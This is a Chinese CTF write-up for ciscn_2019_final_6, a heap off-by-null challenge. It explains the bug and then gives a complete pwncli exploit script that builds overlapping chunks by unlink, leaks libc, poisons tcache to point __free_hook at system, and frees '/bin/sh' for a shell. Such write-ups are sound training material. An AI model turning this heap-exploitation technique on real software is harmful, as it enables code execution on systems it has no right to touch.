ciscn_2019_final_6

总结

表面看是迷宫,其实是一道off by null的题目。在已知指针数组情况下的off by null,一般来说用unlink是最快最有效的。

checksec

image-20220304204739873

给的libc2.23的,远程的是2.27

漏洞点

read_input函数中:

image-20220304204942575

主要在store中使用了:

image-20220304205016086

利用思路

恢复一下结构体:

1
2
3
4
5
6
struct Mazes{
int start_x;
int start_y;
int step;
char *name;
};

结合漏洞,利用思路为:

  • 利用store构造off by null
  • 使用unlink构造重叠的堆
  • 利用resume泄露出libc地址
  • 使用tcache bin poisoning劫持__free_hooksystem地址
  • 释放/bin/sh

EXP

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *

cli_script()

elf: ELF = gift['elf']
libc: ELF = gift['libc']


def resume(size = 0, data=""):
    sla("> ", "0")
    m = rls(b"hello")
    m2 = rls("X:")
    sla("input you ops count\n", str(size))
    if size > 0:
        sa("ops: ", data)
    log_ex(f"Get msg: {m}")
    log_ex(f"Get msg: {m2}")
    return m, m2

def new(name="roderick", data=""):
    sla("> ", "1")
    sla("what's your name?\n", name)
    m = rls(b"hello")
    sla("input you ops count\n", str(len(data)))
    if len(data) > 0:
        sa("ops: ", data)
    log_ex(f"Get msg: {m}")
    return m

def load(idx, data):
    sla("> ", "2")
    sla("index?\n", str(idx))
    m = rls(b"hello")
    sla("input you ops count\n", str(len(data)))
    if len(data) > 0:
        sa("ops: ", data)
    log_ex(f"Get msg: {m}")
    return m

def store(size, data, yes= "y"):
    sla("> ", "3")
    sa("any comment?\n", yes)
    if yes == "y":
        sla("comment size?\n", str(size))
        sa("plz input comment\n", data)


def dele(idx):
    sla("> ", "4")
    sla("index?\n", str(idx))

new()
store(0x420, "deadbeef\n")
new()
store(0x38, "deadbeef\n")

dele(1)
new()
store(0x4f0, "deadbeef\n")

new()
# off by null
store(0x38, 0x30 * b"a" + p64(0x4c0))

dele(0)
dele(1) # unlink

new()
resume(0x420, "deadbeef")


_, m = resume(0)
res = m.split()

# leak libc addr
l = int(res[0][2:-1].decode()) & 0xffffffff
h = int(res[1][2:-1].decode()) & 0xffffffff

libc_addr = (h << 32) + l - 0x3ebca0
log_libc_base_addr(libc_addr)
libc.address = libc_addr

# tcache bin poisoning
resume(0x470, flat({
    0x420:{
        0: [0, 0x51]
    }
    }))
store(0, "", "n")
dele(0)

new()
resume(0x470, flat({
    0x420:{
        0: [0, 0x51, libc.sym['__free_hook']]
    }
    }))

store(0x40, "/bin/sh\x00\n")

new()

store(0x40, p64(libc.sym.system)+b"\n")

dele(0)

get_current_flag_when_get_shell()

ia()

image-20220304205511227

引用与参考

1、My Blog

2、Ctf Wiki

3、pwncli

Buy me a coffee~
roderick 支付宝支付宝
roderick 微信微信
0%